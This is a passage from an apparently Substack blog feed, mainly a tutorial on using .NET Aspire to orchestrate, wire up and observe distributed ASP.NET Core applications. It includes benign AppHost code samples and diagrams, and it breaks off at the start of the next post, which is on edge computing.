url="https://substackcdn.com/image/fetch/$s_!9xvC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07025538-2ced-4246-ae8e-8137a6643117_1672x941.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Distributed applications give us flexibility and scalability, but they also introduce a frustrating amount of operational complexity. An <a href="https://www.asptoday.com/p/introduction-to-aspnet-core-whats-new-and-why-it-matters">ASP.NET Core</a> application may depend on several APIs, databases, caches, message brokers, and background workers, each with its own endpoint, configuration, startup requirements, and telemetry. <a href="https://aspire.dev/">.NET Aspire</a> helps bring these moving pieces together. It provides a code-first way to describe a distributed application, connect its resources, discover services, coordinate startup, and observe the entire system from one place. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!9xvC!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07025538-2ced-4246-ae8e-8137a6643117_1672x941.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!9xvC!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07025538-2ced-4246-ae8e-8137a6643117_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!9xvC!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07025538-2ced-4246-ae8e-8137a6643117_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!9xvC!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07025538-2ced-4246-ae8e-8137a6643117_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!9xvC!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07025538-2ced-4246-ae8e-8137a6643117_1672x941.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!9xvC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07025538-2ced-4246-ae8e-8137a6643117_1672x941.png" width="1456" height="819" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/07025538-2ced-4246-ae8e-8137a6643117_1672x941.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:819,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:2907351,&quot;alt&quot;:&quot;Spacecraft modules connect inside a vast hangar, representing orchestration and service discovery. &quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/211543549?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07025538-2ced-4246-ae8e-8137a6643117_1672x941.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Spacecraft modules connect inside a vast hangar, representing orchestration and service discovery. " title="Spacecraft modules connect inside a vast hangar, representing orchestration and service discovery. " srcset="https://substackcdn.com/image/fetch/$s_!9xvC!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07025538-2ced-4246-ae8e-8137a6643117_1672x941.png 424w, https://substackcdn.com/image/fetch/$s_!9xvC!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07025538-2ced-4246-ae8e-8137a6643117_1672x941.png 848w, https://substackcdn.com/image/fetch/$s_!9xvC!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07025538-2ced-4246-ae8e-8137a6643117_1672x941.png 1272w, https://substackcdn.com/image/fetch/$s_!9xvC!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07025538-2ced-4246-ae8e-8137a6643117_1672x941.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>In this guide, we'll build a practical mental model of .NET Aspire and explore how orchestration, service discovery, health checks, and <a href="https://www.asptoday.com/p/deep-dive-into-distributed-tracing">OpenTelemetry</a> can make distributed ASP.NET Core development much easier. </p><h2>The Problem with Distributed Applications</h2><p>A traditional ASP.NET Core application might be relatively simple.</p><pre><code><code>Browser
   &#8595;
ASP.NET Core
   &#8595;
Database</code></code></pre><p>As the application grows, that picture changes.</p><p>We might introduce:</p><pre><code><code>Web Frontend
     &#8595;
API Gateway
     &#8595;
 &#9484;&#9472;&#9472;&#9472;&#9532;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9488;
 &#8595;   &#8595;         &#8595;
Orders Products Payments
 &#8595;       &#8595;        &#8595;
SQL    Redis    Message Queue</code></code></pre><p>Soon, running the application locally means starting several projects and infrastructure dependencies.</p><p>Developers need to know which ports services use.</p><p>Configuration files contain connection strings.</p><p>One service must start before another.</p><p>Databases and containers need to be running.</p><p>Telemetry is spread across multiple consoles.</p><p>The architecture may be well designed, but the development experience becomes increasingly difficult.</p><p>This is one of the problems Aspire is designed to solve.</p><h2>What Is .NET Aspire?</h2><p>Aspire provides tooling for building and operating distributed applications, with a strong emphasis on orchestration and observability.</p><p>Rather than treating each application, database, cache, and supporting service as an unrelated component, Aspire lets us describe the entire system as a collection of connected <strong>resources</strong>.</p><p>Microsoft currently describes Aspire as a code-first orchestration and observability layer for distributed applications.</p><p>That distinction matters.</p><p>Aspire is not another web framework replacing ASP.NET Core.</p><p>Your APIs remain ASP.NET Core applications.</p><p>Your background workers remain .NET workers.</p><p>Redis remains Redis.</p><p>PostgreSQL remains PostgreSQL.</p><p>Aspire provides a model that connects these components and makes the distributed application easier to develop and understand.</p><h2>Think of Aspire as the Application Coordinator</h2><p>Imagine an orchestra.</p><p>The musicians already know how to play their instruments.</p><p>The conductor does not replace them.</p><p>Instead, the conductor coordinates when everyone starts, how the pieces fit together, and how the entire performance behaves.</p><p>Aspire plays a similar role.</p><p>Your services already know how to perform their individual jobs.</p><p>Aspire helps coordinate the system around them.</p><h2>The AppHost</h2><p>The center of an Aspire application is the <strong>AppHost</strong>.</p><p>The AppHost describes your distributed application.</p><p>Instead of maintaining a collection of disconnected scripts and manually configured ports, you describe your resources and relationships in code.</p><p>A simplified AppHost might look like this:</p><pre><code><code>var builder = DistributedApplication.CreateBuilder(args);

var api = builder.AddProject&lt;Projects.CatalogApi&gt;("catalog");

builder.AddProject&lt;Projects.WebApp&gt;("web")
       .WithReference(api);

builder.Build().Run();</code></code></pre><p>We now have two resources:</p><pre><code><code>Catalog API
     &#8593;
     &#9474;
   Web App</code></code></pre><p>The important part is the relationship.</p><p>The web application references the API.</p><p>Aspire can use that relationship to provide connection information and service discovery rather than requiring the application to depend on a manually configured port.</p><p>Microsoft&#8217;s current Aspire guidance describes the AppHost as a code-first model for defining application architecture and relationships.</p><h2>Resources Are More Than ASP.NET Core Projects</h2><p>An Aspire resource does not have to be an ASP.NET Core project.</p><p>A distributed application might contain:</p><ul><li><p>ASP.NET Core APIs</p></li><li><p>Worker services</p></li><li><p>Databases</p></li><li><p><a href="https://www.asptoday.com/p/implementing-distributed-caching">Redis</a></p></li><li><p>Message brokers</p></li><li><p>Containers</p></li><li><p>Executables</p></li><li><p>Frontend applications</p></li></ul><p>The AppHost becomes a map of the entire application.</p><p>For example:</p><pre><code><code>             Web
              &#9474;
              &#9660;
          Catalog API
           /       \
          &#9660;         &#9660;
     PostgreSQL    Redis</code></code></pre><p>Instead of expecting every developer to reconstruct this architecture mentally, we can express it directly.</p><h2>Adding Infrastructure</h2><p>Suppose our Catalog API requires Redis.</p><p>Conceptually, our AppHost might define the cache and reference it from the API:</p><pre><code><code>var builder = DistributedApplication.CreateBuilder(args);

var cache = builder.AddRedis("cache");

var api = builder
    .AddProject&lt;Projects.CatalogApi&gt;("catalog")
    .WithReference(cache);

builder.Build().Run();</code></code></pre><p><code>WithReference()</code> tells Aspire that the API depends on the cache.</p><p>Aspire integrations can then provide the consuming application with the connection information it needs.</p><p>This is far cleaner than telling every developer:</p><p>&#8220;Start Redis manually, make sure it uses this port, then copy this connection string into your local configuration.&#8221;</p><h2>Why Code-First Orchestration Matters</h2><p>Infrastructure relationships often exist only in documentation.</p><p>That documentation becomes outdated.</p><p>Someone changes a port.</p><p>A new database is introduced.</p><p>A service gets renamed.</p><p>Another developer joins the team and spends half a day figuring out how everything fits together.</p><p>With Aspire, the application topology lives alongside the application.</p><p>That makes relationships:</p><ul><li><p>Visible</p></li><li><p>Version controlled</p></li><li><p>Repeatable</p></li><li><p>Easier to modify</p></li></ul><p>The architecture becomes something developers can run rather than something they merely read about.</p><h2>Orchestration Does Not Mean Business Orchestration</h2><p>There is an important distinction here.</p><p>Aspire application orchestration is not the same thing as orchestrating business workflows.</p><p>For example, Aspire does not replace the Saga pattern we explored earlier.</p><p>A Saga might coordinate:</p><pre><code><code>Create Order
    &#8595;
Reserve Stock
    &#8595;
Process Payment
    &#8595;
Arrange Shipping</code></code></pre><p>Aspire coordinates the resources required to run the application.</p><pre><code><code>Start Database
      &#8595;
Start API
      &#8595;
Start Frontend</code></code></pre><p>These solve completely different problems.</p><h2>Controlling Startup Dependencies</h2><p>Distributed applications often suffer from startup races.</p><p>Imagine the frontend starts immediately and calls the API.</p><p>The API is still starting.</p><p>The first request fails.</p><p>Or perhaps the API starts before its database is ready.</p><p>Aspire allows resource relationships to express readiness dependencies.</p><p>For example:</p><pre><code><code>var api = builder
    .AddProject&lt;Projects.CatalogApi&gt;("catalog");

builder
    .AddProject&lt;Projects.WebApp&gt;("web")
    .WithReference(api)
    .WaitFor(api);</code></code></pre><p><code>WaitFor()</code> can prevent the dependent resource from starting until the referenced resource is ready according to its lifecycle or health state. Microsoft&#8217;s current Aspire getting-started guidance demonstrates this alongside health checks to prevent startup race conditions.</p><p>This sounds like a small improvement.</p><p>Across a system with many dependencies, it becomes extremely valuable.</p><h2>Service Discovery</h2><p>Now we reach one of the biggest headaches in distributed development.</p><p>How does one service find another?</p><p>Suppose our Catalog API runs locally at:</p><p>https://localhost:7143</p><p>A developer might configure:</p><pre><code><code>{
  "CatalogApi": "https://localhost:7143"
}</code></code></pre><p>But another developer might receive:</p><p>https://localhost:7288</p><p>Production uses a completely different hostname.</p><p>Containers introduce another network environment.</p><p>Hardcoded addresses become fragile quickly.</p><h2>Logical Service Names</h2><p>Service discovery solves this problem.</p><p>Instead of thinking:</p><pre><code><code>Call https://localhost:7143</code></code></pre><p>the application thinks:</p><pre><code><code>Call catalog</code></code></pre><p>Aspire knows where <code>catalog</code> actually lives.</p><p>A client can therefore use a logical service address rather than a hardcoded endpoint.</p><p>For example:</p><pre><code><code>builder.Services.AddHttpClient&lt;CatalogClient&gt;(client =&gt;
{
    client.BaseAddress =
        new Uri("https+http://catalog");
});</code></code></pre><p>Aspire&#8217;s service discovery resolves the logical service name to the appropriate endpoint at runtime. <a href="https://aspire.dev/fundamentals/service-discovery/">Microsoft&#8217;s documentation</a> specifically describes this model as using logical names instead of hardcoded URLs.</p><h2>Why This Changes Local Development</h2><p>Imagine five developers working on the same system.</p><p>Without service discovery, everyone needs matching port configuration.</p><p>With service discovery:</p><pre><code><code>Web
 &#8595;
"catalog"
 &#8595;
Service Discovery
 &#8595;
Actual Catalog Endpoint</code></code></pre><p>The consuming code no longer cares whether Catalog runs:</p><pre><code><code>localhost:5237</code></code></pre><p>or somewhere else entirely.</p><p>The same basic service relationship can work across different environments because endpoint resolution is separated from application logic.</p><h2>Adding a Database</h2><p>Let&#8217;s make the example more realistic.</p><p>Suppose the Catalog API needs PostgreSQL.</p><p>The AppHost can model that dependency too.</p><pre><code><code>var builder = DistributedApplication.CreateBuilder(args);

var postgres = builder.AddPostgres("postgres");

var catalogDb =
    postgres.AddDatabase("catalogdb");

var catalog = builder
    .AddProject&lt;Projects.CatalogApi&gt;("catalog")
    .WithReference(catalogDb);

builder.AddProject&lt;Projects.WebApp&gt;("web")
       .WithReference(catalog)
       .WaitFor(catalog);

builder.Build().Run();</code></code></pre><p>Our topology is now:</p><pre><code><code>Web
 &#8595;
Catalog API
 &#8595;
PostgreSQL
 &#8595;
Catalog Database</code></code></pre><p>The code itself explains the relationship.</p><h2>Adding Redis</h2><p>Now suppose product information is frequently requested.</p><p>We introduce Redis.</p><pre><code><code>var cache = builder.AddRedis("cache");

var catalog = builder
    .AddProject&lt;Projects.CatalogApi&gt;("catalog")
    .WithReference(catalogDb)
    .WithReference(cache);</code></code></pre><p>The architecture becomes:</p><pre><code><code>             Web
              &#9474;
              &#9660;
          Catalog API
           /       \
          &#9660;         &#9660;
   PostgreSQL      Redis</code></code></pre><p>Notice what is happening.</p><p>We aren&#8217;t adding Redis-specific orchestration logic to our web application.</p><p>We&#8217;re describing the dependency at the application-model level.</p><h2>Aspire Integrations</h2><p>Aspire provides integrations for many common infrastructure components and services.</p><p>These integrations help model resources and provide appropriate configuration to applications consuming them.</p><p>The important idea is not memorizing a list of integrations.</p><p>It is understanding the pattern:</p><pre><code><code>Define Resource
      &#8595;
Reference Resource
      &#8595;
Aspire Supplies Configuration
      &#8595;
Application Uses Resource</code></code></pre><p>This creates a much more consistent way to wire distributed applications together.</p><h2>Service Defaults</h2><p>Distributed applications tend to repeat the same infrastructure configuration.</p><p>Every service needs:</p><ul><li><p><a href="https://www.asptoday.com/p/aspnet-core-health-checks-keeping">Health checks</a></p></li><li><p>Telemetry</p></li><li><p>Service discovery</p></li><li><p>Resilience configuration</p></li></ul><p>Copying the same setup into every project creates maintenance problems.</p><p>Aspire addresses this through <strong>Service Defaults</strong>.</p><p>A Service Defaults project centralizes common configuration that can be reused across projects in the solution.</p><p>Microsoft&#8217;s Aspire templates describe Service Defaults as reusable configuration for areas including resilience, service discovery, and telemetry.</p><h2>Why Service Defaults Matter</h2><p>Imagine ten ASP.NET Core services.</p><p>Without shared defaults:</p><pre><code><code>Orders     &#8594; configure telemetry
Payments   &#8594; configure telemetry
Catalog    &#8594; configure telemetry
Shipping   &#8594; configure telemetry
Identity   &#8594; configure telemetry</code></code></pre><p>Someone eventually configures one differently.</p><p>With shared defaults:</p><pre><code><code>          Service Defaults
        /    /    |    \    \
       &#8595;    &#8595;     &#8595;     &#8595;    &#8595;
Orders Payments Catalog Shipping Identity</code></code></pre><p>The teams begin with a consistent baseline.</p><p>Individual applications can still add their own configuration where necessary.</p><p>Observability from the Beginning</p><p>Distributed applications are difficult to debug because a single user action may cross several services.</p><p>Imagine a checkout request:</p><pre><code><code>Browser
   &#8595;
Web
   &#8595;
Orders API
   &#8595;
Inventory API
   &#8595;
Payment API
   &#8595;
Database</code></code></pre><p>The user sees:</p><pre><code><code>Checkout failed.</code></code></pre><p>Where did it fail?</p><p>Without distributed observability, developers may need to inspect several log files and manually correlate timestamps.</p><p>Aspire encourages observability as part of the development experience rather than something added just before production.</p><h2>The Aspire Dashboard</h2><p>One of Aspire&#8217;s most useful features is its dashboard.</p><p>When you run an AppHost, the dashboard provides a centralized view of the resources in your distributed application.</p><p>Instead of switching between terminal windows, developers get a place to inspect the system.</p><p>The dashboard works with OpenTelemetry data and can surface logs, traces, metrics, resource information, and endpoints. Microsoft&#8217;s documentation notes that the dashboard launches automatically in common AppHost development workflows.</p><p>This dramatically improves the local debugging experience.</p><h2>Structured Logs</h2><p>Suppose the Orders API produces:</p><pre><code><code>logger.LogInformation(
    "Processing order {OrderId}",
    order.Id);</code></code></pre><p>Structured logging keeps <code>OrderId</code> as meaningful data rather than burying it inside a text string.</p><p>Across distributed services, this becomes particularly useful because developers can search and correlate events much more effectively.</p><h2>Distributed Traces</h2><p>We explored OpenTelemetry and distributed tracing earlier in this series.</p><p>Aspire makes those concepts immediately useful during development.</p><p>Suppose a request travels:</p><pre><code><code>Web
 &#9474;
 &#9492;&#9472;&#9472; Orders API          35 ms
       &#9474;
       &#9500;&#9472;&#9472; Inventory     18 ms
       &#9474;
       &#9492;&#9472;&#9472; Payments     840 ms</code></code></pre><p>The problem becomes obvious.</p><p>Payments is taking most of the time.</p><p>Instead of guessing which service caused the delay, the trace shows the request&#8217;s journey.</p><h2>Metrics</h2><p>Logs tell us what happened.</p><p>Traces show how a request moved.</p><p>Metrics tell us how the system behaves over time.</p><p>Useful metrics might include:</p><pre><code><code>Requests per second
Request duration
Failed requests
CPU usage
Memory usage
Dependency latency</code></code></pre><p>Aspire&#8217;s Service Defaults can configure OpenTelemetry collection for logging, tracing, and metrics, while OTLP allows telemetry to be exported to compatible monitoring systems.</p><h2>Health Checks</h2><p>Observability tells us what is happening.</p><p>Health checks answer another important question:</p><p><strong>Can this service actually do its job?</strong></p><p>An application process may technically be running while its database is unavailable.</p><p>That service isn&#8217;t truly healthy.</p><p>ASP.NET Core health checks can represent conditions such as:</p><pre><code><code>API running            &#10003;
Database reachable     &#10003;
Redis reachable        &#10003;
Message broker         &#10007;</code></code></pre><p>Aspire can incorporate health information into resource orchestration and visibility.</p><h2>A More Complete Example</h2><p>Let&#8217;s imagine we&#8217;re building an online store.</p><p>Our system contains:</p><pre><code><code>Web Frontend
Catalog API
Orders API
PostgreSQL
Redis</code></code></pre><p>The AppHost could conceptually describe the system like this:</p><pre><code><code>var builder =
    DistributedApplication.CreateBuilder(args);

var postgres =
    builder.AddPostgres("postgres");

var ordersDb =
    postgres.AddDatabase("ordersdb");

var cache =
    builder.AddRedis("cache");

var catalog =
    builder.AddProject&lt;Projects.CatalogApi&gt;("catalog")
           .WithReference(cache);

var orders =
    builder.AddProject&lt;Projects.OrdersApi&gt;("orders")
           .WithReference(ordersDb)
           .WithReference(catalog)
           .WaitFor(ordersDb);

builder.AddProject&lt;Projects.WebApp&gt;("web")
       .WithReference(catalog)
       .WithReference(orders)
       .WaitFor(catalog)
       .WaitFor(orders);

builder.Build().Run();</code></code></pre><p>Now look at what the application model communicates.</p><pre><code><code>                 Web
                /   \
               &#9660;     &#9660;
          Catalog   Orders
             &#9474;       /  \
             &#9660;      &#9660;    &#9660;
           Redis   DB   Catalog</code></code></pre><p>Someone joining the project can understand much of the topology simply by reading the AppHost.</p><h2>Adding a New Developer</h2><p>This is where Aspire can make a noticeable difference.</p><p>Imagine joining a project containing eight services.</p><p>Traditionally, onboarding instructions might say:</p><ol><li><p>Install PostgreSQL.</p></li><li><p>Install Redis.</p></li><li><p>Configure these connection strings.</p></li><li><p>Start Orders first.</p></li><li><p>Start Catalog.</p></li><li><p>Make sure Catalog uses port 7182.</p></li><li><p>Start the frontend.</p></li><li><p>Open three terminals for logs.</p></li><li><p>Configure your tracing environment.</p></li></ol><p>That is a lot of tribal knowledge.</p><p>A well-designed Aspire application can encode much more of that setup in the application model.</p><p>The developer starts the AppHost.</p><p>The system topology comes to life.</p><h2>Aspire and Containers</h2><p>Containers remain useful.</p><p>Aspire does not make Docker irrelevant.</p><p>Instead, it can model containerized dependencies alongside your application projects.</p><p>For local development, that means infrastructure such as Redis or PostgreSQL can participate in the same application model rather than being treated as completely separate setup tasks.</p><p>This complements the <a href="https://www.asptoday.com/p/building-scalable-applications-with">Docker</a> and <a href="https://www.asptoday.com/p/aspnet-core-and-kubernetes-from-development">Kubernetes</a> concepts we&#8217;ve already explored in this series. </p><h2>Aspire and Kubernetes</h2><p>Another important distinction:</p><p>Aspire is not Kubernetes.</p><p>Kubernetes is an orchestration platform for deploying and operating containerized workloads.</p><p>Aspire&#8217;s AppHost provides a code-first application model that can be used during development and can participate in deployment workflows.</p><p>You should not think:</p><pre><code><code>Aspire OR Kubernetes</code></code></pre><p>Think:</p><pre><code><code>Application Model
        &#8595;
Deployment Environment</code></code></pre><p>The deployment environment might eventually involve containers, Kubernetes, Azure services, or another supported target.</p><p>Aspire&#8217;s current documentation explicitly separates application modeling from deployment topology and supports multiple deployment directions rather than tying the model to a single hosting destination.</p><h2>Aspire Is Not Only for New Applications</h2><p>You do not need to rebuild an existing ASP.NET Core system from scratch.</p><p>Aspire can be introduced incrementally.</p><p>For example, you might start by adding an AppHost that models:</p><pre><code><code>Existing API
Existing Worker
Redis
PostgreSQL</code></code></pre><p>Then introduce common telemetry.</p><p>Later, add service discovery.</p><p>Then model more infrastructure.</p><p>Microsoft&#8217;s current guidance specifically supports adding Aspire to existing applications and gradually modeling containers, databases, caches, queues, workers, and other resources.</p><p>That makes adoption much less risky.</p><h2>Where Aspire Helps Most</h2><p>Aspire becomes particularly valuable when an application contains enough moving parts that local development starts becoming painful.</p><p>Imagine:</p><pre><code><code>Frontend
API Gateway
Identity Service
Catalog Service
Orders Service
Payment Service
Worker
Redis
PostgreSQL
RabbitMQ</code></code></pre><p>Running all of that manually is frustrating.</p><p>Understanding it is harder.</p><p>Debugging it is harder still.</p><p>The value of a unified application model grows with the number of dependencies.</p><h2>Where Aspire May Be Unnecessary</h2><p>Not every ASP.NET Core application needs distributed orchestration.</p><p>Suppose you have:</p><pre><code><code>Razor Pages App
      &#8595;
SQL Database</code></code></pre><p>The system is simple.</p><p>Adding additional tooling may provide little value.</p><p>This is an important architectural lesson we&#8217;ve repeated throughout this series:</p><p><strong>Use complexity to solve complexity. Do not introduce complexity merely because a technology is interesting.</strong></p><h2>Common Mistake: Treating Aspire as Magic</h2><p>Aspire does not make distributed systems simple.</p><p>Network failures still happen.</p><p>Databases still become unavailable.</p><p>Services still experience latency.</p><p>Distributed transactions are still difficult.</p><p>Security still matters.</p><p>What Aspire improves is our ability to <strong>model, connect, run, and observe</strong> those systems.</p><p>Good architecture remains essential.</p><h2>Common Mistake: Hiding Architecture</h2><p>Because Aspire makes adding resources convenient, developers may be tempted to keep adding services.</p><p>That would be the wrong lesson.</p><p>If one ASP.NET Core application solves the problem well, splitting it into six services does not automatically improve the architecture.</p><p>The AppHost should describe a sensible architecture.</p><p>It should not justify an unnecessarily complicated one.</p><h2>Common Mistake: Ignoring Production Differences</h2><p>A beautiful local environment does not guarantee a healthy production environment.</p><p>Production introduces:</p><ul><li><p>Real network latency</p></li><li><p><a href="https://www.asptoday.com/p/advanced-authentication-patterns">Authentication</a></p></li><li><p>Secrets</p></li><li><p>Scaling</p></li><li><p>Regional failures</p></li><li><p>Cost</p></li><li><p>Resource limits</p></li></ul><p>Use Aspire to improve development and application modeling, but continue designing explicitly for the environment where the system will actually operate.</p><h2>A Real-World Scenario</h2><p>Imagine a logistics company building a parcel-processing platform.</p><p>Its system contains:</p><pre><code><code>Operations Portal
       &#8595;
Shipment API
       &#8595;
 &#9484;&#9472;&#9472;&#9472;&#9472;&#9472;&#9532;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9472;&#9488;
 &#9660;     &#9660;          &#9660;
Pricing Tracking Notifications
 &#9474;       &#9474;
 &#9660;       &#9660;
Redis PostgreSQL

Background Workers
       &#8595;
Message Broker</code></code></pre><p>Without a unified development model, every engineer must understand how to launch and configure all of these pieces.</p><p>With Aspire, the AppHost describes them as resources and relationships.</p><p>Developers start the distributed application.</p><p>Service discovery connects the services.</p><p>Health checks reveal whether dependencies are ready.</p><p>OpenTelemetry records activity.</p><p>The dashboard exposes the system&#8217;s behavior.</p><p>When a shipment request becomes slow, developers inspect its trace.</p><p>They discover that Pricing is waiting on a downstream dependency.</p><p>Instead of searching through five terminal windows, they can follow the request through the distributed system.</p><p>That is where Aspire becomes much more than a convenient project launcher.</p><p>It becomes a development environment for understanding the architecture itself.</p><h2>How This Fits Our ASP.NET Core Journey</h2><p>Over the course of this series, we&#8217;ve explored many pieces of distributed application architecture individually.</p><p>We&#8217;ve covered:</p><ul><li><p>Microservices</p></li><li><p>Docker</p></li><li><p>Kubernetes</p></li><li><p>Event-driven architecture</p></li><li><p>gRPC</p></li><li><p>Health checks</p></li><li><p>Resilience</p></li><li><p>Distributed caching</p></li><li><p>Distributed tracing</p></li><li><p>API Gateways</p></li><li><p>Service meshes</p></li><li><p>Internal Developer Platforms</p></li></ul><p>Aspire does not replace those concepts.</p><p>It provides a way to bring many of them into a more coherent developer experience.</p><p>Instead of thinking about an application as ten unrelated projects and five infrastructure components, we can model it as one distributed system.</p><p>That is an important shift.</p><h2>What Aspire Gives Us</h2><p>The easiest way to remember Aspire is through four questions.</p><p><strong>What runs?</strong></p><p>The AppHost describes the resources.</p><p><strong>What depends on what?</strong></p><p>References describe relationships.</p><p><strong>How do services find each other?</strong></p><p>Service discovery resolves logical names to endpoints.</p><p><strong>How do we understand what is happening?</strong></p><p>OpenTelemetry and the Aspire dashboard provide observability.</p><p>Together, those capabilities attack some of the most frustrating parts of distributed application development.</p><h2>Closing Thoughts</h2><p>Distributed architecture gives development teams powerful ways to scale applications, isolate responsibilities, and choose the right technology for each workload. But every new service also creates another endpoint, dependency, configuration problem, health state, and source of telemetry.</p><p>Aspire tackles that operational complexity from the developer&#8217;s perspective.</p><p>With a code-first AppHost, we can describe our distributed application as a system rather than a collection of unrelated processes. Service discovery removes the need to hardcode changing endpoints. Shared defaults give services a consistent foundation for resilience, health checks, and telemetry. OpenTelemetry and the Aspire dashboard then help us see how those services behave together.</p><p>The result is not a simpler architecture by magic.</p><p>It is an architecture that is <strong>easier to run, easier to understand, easier to observe, and easier for the next developer to work with</strong>.</p><p>And as our ASP.NET Core systems become increasingly distributed, that developer experience matters just as much as the individual services themselves.</p><h2>Subscribe Now</h2><p>Enjoying the series? <a href="https://www.asptoday.com/">Subscribe to </a><strong><a href="https://www.asptoday.com/">ASP Today</a></strong> for practical ASP.NET Core tutorials, advanced architecture guides, and real-world .NET engineering strategies. Join our Substack Chat to discuss distributed applications, share development experiences, and connect with developers building modern ASP.NET Core systems. </p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.asptoday.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.asptoday.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Edge Computing with ASP.NET Core: Running Applications Closer to Users]]></title><description><![CDATA[Discover how edge computing brings ASP.NET Core workloads closer to users and devices for faster responses, local processing, and greater resilience. #ASPToday #aspnetcore #edgecomputing #cloudnative #dotnet]]></description><link>https://www.asptoday.com/p/edge-computing-with-aspnet-core-running</link><guid isPermaLink="false">https://www.asptoday.com/p/edge-computing-with-aspnet-core-running</guid><dc:creator><![CDATA[Jenny Muralidharan]]></dc:creator><pubDate>Tue, 11 Aug 2026 15:01:08 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!rCs1!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73cc23c4-4834-4591-89d7-97e9ec5fc636_1672x941.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Cloud computing transformed the way we build applications by giving us centralized infrastructure that can scale almost instantly. But sending every request and every piece of data back to a distant cloud region is not always the best solution. Some applications need extremely fast responses, must continue working when connectivity disappears, or generate so much data that constantly sending everything to the cloud becomes inefficient. Edge computing addresses these challenges by moving part of the application closer to the people, devices, and machines using it.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!rCs1!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73cc23c4-4834-4591-89d7-97e9ec5fc636_1672x941.png" 